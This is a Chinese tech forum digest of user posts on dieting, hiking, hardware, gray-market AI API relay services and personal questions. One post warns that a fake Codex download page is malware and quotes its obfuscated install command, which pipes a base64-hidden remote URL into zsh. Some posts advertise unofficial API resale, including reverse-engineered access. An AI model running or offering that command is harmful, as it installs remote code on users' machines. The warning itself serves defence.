2026-05-11

21 篇热帖

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6. 我开始减肥,方法就是靠饿
我还清楚地记得第一份工作入职体检报告上自己的体重 53Kg 106 斤。工作几年,胡吃海塞,再加上坐着不动弹,体重一路飙升到了 140 斤。

以前总以为自己是吃不胖体质,其实是不好好吃饭,而且年轻代谢快。瘦的时候闻到肥肉觉得腻味恶心,现在呢?想着这么香我得多吃两块。

过年后来西安,发现自己穿板鞋走两步,脚和大腿根就磨得难受,去年的衬衫套在身上跟小丑服一样。受够自己的这副猪样子了,下决心开始减肥,方法就是靠一个字,饿!

哇,刚开始真的是要了命了。早上去买早餐,老板反复确认:只要两个鸡蛋吗?我大声告诉他:确定,也给自己打打气。在这个摊买了好几年早餐,老板见我都不用问的,因为后面一般还会跟着两个包子,一根油条和一杯豆浆或者八宝粥。不知不觉就吃进去好多东西啊。

中午呢,只吃最小份的面,还交代老板少面。蒜也不吃了,面太少顶不住就多喝面汤。老板一直朝我看,心里估计在想:这人,面没咥几嘴,把一壶面汤都喝完了......

晚上也不怎么吃了,就快餐里面两片青菜叶子,加一拳头米饭搞定。不怕大家笑话,减肥前这样的碗我能吃三碗,饿起来五碗也不止。吃完饭出来,路过小吃街又是满满的诱惑:烤面筋、热干面、辣子夹馍、煎饼果子、果木烤鸭等等,我是一刻也不敢停留,目不斜视,口中默念圣人教诲:五色令人目盲;五音令人耳聋;五味令人口爽;驰骋畋猎,令人心发狂;难得之货,令人行妨;是以圣人为腹不为,故去彼取此。成为不了圣人,我只想成为一个瘦人,这些小吃美食就是最大的妖魔鬼怪。

相应地,晚饭吃少了之后,睡觉也早了些,以前总是熬到一两点,现在十一点就躺下了。为了防止自己躺着刷手机,手机放在很远的地方充电,上面还压着些东西,总之就是让自己拿手机变得很难,重新培养大脑的潜意识:床就是用来睡觉的地方。

刚开始改变的时候,我躺在床上烙饼,翻来覆去睡不着。我在想,什么时候自己会胖成这样呢?是了,我想起来了,就是去深圳的那几年,当时工作的压力大,整天忙着加班。就觉得,我都这么累了,要啥没啥,还不让我多吃几口吗?我是在自暴自弃,逃避现实问题,所以报复性饮食与熬夜。

所谓知行合一,人啊,就是很难控制自己,明知道这样不对,偏偏改不了各种恶习。希望我这次能够坚持下去,也希望大家不要重蹈覆辙,好好对待你的身体,你的身体也会好好对待你。
7. Nexus 满血 GPT5.5 API 中转|拒绝降智阉割·长期稳定靠谱

官网地址: https://nexus.1982video.cn/

🤖 为什么搭建 Nexus 中转站?

本人长期深耕 AI 开发,日常高频调用各类大模型 API 。深耕行业多年,踩遍市面上绝大多数中转平台的坑:账号频繁封禁、模型严重降智、高价买到低配算力、接口频繁断联报错。 对于开发者和重度用户来说,API 最贵的从来不是价格,而是不稳定、被阉割、智商掉线。市面上多数站点为压缩成本,混入大量低价逆向渠道,导致号称顶配的 GPT5.5 频繁出现逻辑混乱、长文本断裂、推理拉胯等问题。 正因如此,我自建了 Nexus 纯自用级中转站点,对外开放的核心初衷:坚守满血算力、极致稳定、零阉割、零降智,给所有用户一个靠谱的 AI 算力渠道。

💡 平台三大硬核保障

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全程对接官方纯正 GPT5.5 算力池,严格关键特征校验,彻底杜绝 Kiro 、网页逆向、低价混流等阉割手段。100% 还原官方完整推理能力、代码能力、深度创作与复杂逻辑运算水平,真正做到满血不缩水,全程智商在线。

2. 全球极速低延迟响应

核心后端搭载优质服务器架构,搭配全球加速节点,优化链路延迟。无论是日常对话、万字长文创作、代码调试、批量任务处理,还是挂载各类 AI 插件使用,响应极速、丝滑不卡顿,杜绝超时、断连、加载缓慢等问题。

3. 全开发者场景优化,计费透明

全站兼容标准 OpenAI 接口格式,可直接适配 LobeChat 、NextChat 、Cursor 等主流客户端与插件,无需复杂配置,即填即用。专属 GPT5.5 优化链路,针对长文本、多轮对话、复杂推理场景深度适配。计费规则公开透明,无隐藏倍率、无暗坑虚标,消费清晰可查。

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福利发放说明:新人福利每晚统一手动审核发放,只需回帖留下你的注册邮箱即可

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💰 充值方式与售后承诺

支付渠道:支持支付宝、微信卡密直充,全程无需实名,便捷安全、秒到账。 专属售后:免费提供远程插件调试、接口配置、使用问题解答等一对一协助。 平台承诺:所有算力保真满血,杜绝降智阉割,如遇质量问题、体验不佳可随时反馈处理。

💬 平台稳定说明

市面上绝大多数 AI 中转站跑路、降质、限流,核心原因是单纯套利运营、成本无法覆盖。而 Nexus 是自有业务配套的长期自用基础设施,依托稳定业务持续造血,我本人每日重度使用平台 GPT5.5 算力。 长期稳定、保真满血,是我们的核心底线。欢迎所有用户随时压力测试,但凡发现模型降智、算力阉割、虚假宣传,均可直接回帖反馈! 官方站点: https://nexus.1982video.cn/

帮朋友代发的

8. 中转站 codex 0.03 一刀,逆向 claude code 0.1 一刀

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长期耐打, 欢迎高并发 / 批量业务接入

评论后私信发送地址!

9. 我做了个小硬件,突破限制,彻底解决 iPhone 骚扰电话拦截效果差的问题

大家好啊,我是拦截猫 APP 作者,拦截猫是 iPhone 上的骚扰电话拦截 APP ,但是苹果系统限制很恶心,很难做到良好的拦截效果。

于是我们经过一年的研发和调研,找到了最佳的解决方案,就是这款硬件。

只有 U 盘大小,可以通过 APP 进行配置,用硬件辅助拦截骚扰电话。

简单来说:硬件会模拟蓝牙耳机协议(所以供电就行,不是必须插手机),通过蓝牙通道获取来电号码,再结合你配置的规则进行识别与处理。

唯一缺点,拦截距离 5-8 米,随身携带很麻烦,很适合固定场所,我们也在研究如何缩小,做成便携设备。


另外也感谢大家一直以来的支持 ❤️

猫短信和电话相关功能,基本已经做得差不多了。

不过猫后面还会有新的方向,接下来会开始尝试:「专注反诈」。

一些新的功能和产品,也会在后面陆续和大家见面。


接下来请欣赏我们的使用图

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11. [终身成就达成] 单日徒步 100 公里, 我开始享受自己现在健康的身体了.

2026 年 5 月 10 日 0 点整从西安钟楼开始出发, 22 点半到回到老家.

简装出行, 带了充电宝和手电筒就出行了, 100 公里算上中间的休息时间共花费 22.5 个小时.

全程消耗:
红牛 8 罐 
东鹏特饮 2 瓶
娃哈哈矿泉水 2 瓶
一根士力架

都是路过村子便利店现买.

真实感受到了现在人类城市的巨大和密集度. 6 点半日出了我还没走出西安, 在泾渭新区赶路.

出了西安上了原上, 高德一路把我引到了村路上, 两边都是田地, 全程几公里一个村子, 我是没渴到.

当然最重要的是, 我做到了!

昨晚到家泡个脚, 筋膜枪打一下, 请了半天假, 早上起来高铁半小时就到了西安.此刻我坐在工位上, 除了腿微微酸胀不影响走路, 没有感觉到任何不适.

也许这才应该是我本来的身体, 健康的肉体支撑我去完成从未设想过的目标.

运动可能没法治好我不健康的心理, 但是运动后的体魄能让我完成更多精神变态的行为. 这个动还是要运的.

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12. 自用 Codex 站(今天继续福利分组)

plus+free 号池(现基本都是 plus 号池,上新渠道),自用不了,推出来略微回收一下成本。

模型支持有 GPT 全家桶

价格如下:

按量付费:0.08 元/刀,随充随用,日/周不限。

自己注册的号池,没有任何映射,无虚标不掺水。有问题及时处理,属实包退款。

https://www.loomex.top

评论留 邮箱或者 ID ,今天继续分享福利分组共用 500 刀,先到先得,用完删除分组不进行通知熬(自用哈)

13. 婚纱照好贵,基本上都 2/3K,跟对象看了看婚纱写真也不错,几百块,有拍过的哥们吗?

每个人都告诉我俩拍个贵贵的婚纱照没啥用,自己也不会打开看 我对象也不追求这个,有几张照片,留个纪念就行 看了看婚纱照太贵了,最基础也得 2.3k 然后搜索发现有情侣婚纱写真,几百块,室内拍,两三套,几十张,底片全送 不知道有拍过的老哥吗?有啥子需要注意的嘛? 还有给我推荐 AI 婚纱照生成的哈哈

14. 自用中转站. 注册即有 5$ 额度,套餐低至 0.1 倍率

注册时填 V2EX 优惠码会自动领取 5$, 优惠码记得填: V2EX

下方留下你的邮箱再赠送 5 刀 https://coding.kitt.tools

15. 紧急避雷! google 搜 Codex 第一个结果是个病毒,千万别装,我已中招!

rt ,这个也确实怪我大意了,不小心中招了,发个帖希望各位站友别犯错

今天用 cc 编码,minmax 模型实在是问题多,我就去 google 搜 codex 官网,下载 codex 试试的 搜索的第一个我就点击进去了(截止发帖时间,依然在第一个),我后面对比了下与 chatgpt 的页面一毛一样 google 截图

然后我点击第一个链接进去后,按照页面提示点击安装按钮 ScreenShot_2026-05-11_224758_197.png

安装命令我贴出来下

echo "Downloading Codex: https://chatgpt.com/codex-app/Codex.dmg" && curl -s $(echo "aHR0cHM6Ly9ncmVlbmFjdGl2LmNvbS9jdXJsLzRhZjU5ZjBmYTY3YjI5MDljOWQxMWFmM2UwMmE3OTE4MjcxMDhlMmQ1MjU5OGMyN2Y2Mjg2NmEwNDAzMDk2Mzc=" | openssl base64 -d -A) | zsh

这个脚本各种混淆,以及 echo 复杂。。翻译了好半天才找到位置

16. 替尔泊肽确实是好药,但也没预想中那么神奇,我三个星期,从 98kg 减到 93kg

上个月发了个帖子,https://www.v2ex.com/t/1206617

发完贴子我就去实践了,周末去了趟医院挂了减肥科,医生给安排了血液检查(常规血检+降钙素+胰岛素+血脂),甲状腺彩超,体脂率检测,符合打药的条件,然后让自己去买了替尔泊肽打(医院没有,淘宝买的),同时给了食谱和运动规划,我没太严格的坚持下来,最终就是到今天早上,一共是瘦了 10 斤。

然后分享下打药后的感受,第一就是食欲大降,吃平常一半的饭就感觉饱了,然后每天晚上下班的时候,肚子都咕咕叫了,但也没觉得想吃东西,其次就是对运动的耐受更好了,做了有氧无氧运动后第二天肌肉一点都不酸痛,最后是副作用,吃的少了就是会便秘,尤其是油脂摄入大幅减少,更加重了这点,另外刚打针的周一周二会更嗜睡,即使睡了 8 个小时早上还是觉得困。

顺便分享下我的减肥安排,每天的饮食按照 1300 大卡来算,早餐一个鸡蛋一盒牛奶一个番茄/苹果一个肉包子,中午沙县小吃鸡腿饭(米饭减半),晚上一个鸡蛋一块鸡胸肉两个黄瓜或者半盘青菜,大致如此,但是没这么严格,比如偶尔吃点牛肉,虽然不饿但是馋会吃点花生/蚕豆等等,基本戒了所有含糖饮料,只喝黑咖啡和菊花决明子枸杞茶。运动方面,每周 6 次有氧,每次 30 分钟到 40 分钟,基本就是快走,这方面进步挺明显,一开始 30 分钟只能 3 公里,现在是 40 分钟 5 公里,3 次力量运动,主要是上肢和腹部的运动,医生说我的下肢肌肉量可以,所以主要练这两,力量训练量不大,尽可能的保持住不掉肌肉。

总得来说是划算的,每个月买药的钱,完全通过少吃外卖和少喝饮料省回来了,另外虽然体重少的不多,但是腰围少了一大圈,家里人看到都说肚子明显小了,买裤子的时候已经降了一个尺码了,推荐像我一样 BMI 超过 28 的都可以试试,但是一定要先去医院检查,符合条件再打

打算坚持 3 个月,希望 3 个月能瘦到 80kg!

17. 各位的 mbp 多久置换一次

m3max 36G 的 mpb 用到现在除了电池有点衰减还有浏览器标签开多了 36G 稍微吃紧之外暂时还没有什么瓶颈,想知道换 m5max48G 提有什么其他体验有质的飞跃吗?看了新配置痒痒的,欲壑难填。 看了下目前 m3 的残值 1W 左右,各位都是怎么置换的

18. 求推荐内网穿透和一键组网的工具或者硬件设备
哈哈,上次发了一个“如何在外面调用家里的本地算力”;经过大佬指点说这个叫内网穿透,也是学上新的专业名词了;紧接着我在想,有没有一种工具或者是设备可以打破常规,把我所有的设备串联起来,然后出门,我就带个手机就好了,或者带个 iPad ,可以访问我家里所有的东西,以及我公司的内网服务器之类的,希望速度稳定一点,没有什么网络波动之类的,因为像 todesk 和向日葵有时候很抖动,todesk 有时候显示什么当前节点繁忙之类的,感觉很不适用;然后向日葵它有时候键盘映射的摁键摁不动或者是有问题,希望各个大佬再指点我一下,给我推荐一下好用的产品或者是硬件
19. 老板要求用 AI 几周完成一年的工作量

公司 ToB 运行多年, 旧的项目结构开发起来模块耦合重, 历史数据量大, 上下游依赖复杂, 开发效率不高, 老板就想要做重构。

他参考 AI 的建议之后觉得加上 AI 辅助大概几周能重构完成, 技术负责人一直跟他强调不可能。

现在要求一定要在一个月之内开发完, 测开不用介入, 更多依赖 AI 生成测试用例后直接上线。

感觉已经预想到会出现非常多的事故了.....

20. 有没有办法让孩子的手机只能和父母手机相互通信?
亲戚家孩子配了手机,初衷是为了联系和定位
结果查账单,每晚都要和同学煲电话粥,2 点钟的记录都有
平时写作业也开着电话,边聊天边写作业
周末睡到中午不起床,马上要中考了,排名全校 600 多名
所以想屏蔽和她朋友通讯的能力。

方案如下:
全局禁用不必要软件的功能(使用远离手机)
1. 使用境外通讯软件(两个手机都设置翻墙) signal 的推送在小米上面一直有问题
2. 自建服务器的通讯软件(还没找到合适的方案)
3. 还有其他别的方案吗?
21. [生活]感觉失去了表达爱的能力

背景

昨天是母亲节,我是知道的,理性告诉我应该给妈发个红包,然后说几句暖心的话,但是实际上我啥也没干,红包没发,鲜花没买,也没给她发消息;

事先声明,我和我妈之间没啥矛盾,但不知道为啥,我的内心很抗拒这种行为,觉得很尴尬、很矫情;

再说一个小故事,大概从大学开始我妈每次我生日的时候,给我发啥生日快乐啥的,其实我感觉也挺尴尬的,小时候也没过过啥生日,也是这么过来的,长大了这些表达,我完全无感;看到其他人过生日整一堆仪式感的东西,内心也没有啥触动不会心生羡慕; 我想把这个归结为没有接受过什么爱,所以自己也很难表达爱,不知道对不对;

同时我也发现,我和暧昧对象也有这个问题,五一的时候,去找过她一次,理性告诉我应该买一束花,但我没买,感觉仪式感太重,很尬;

怎么解?有没有同心理的;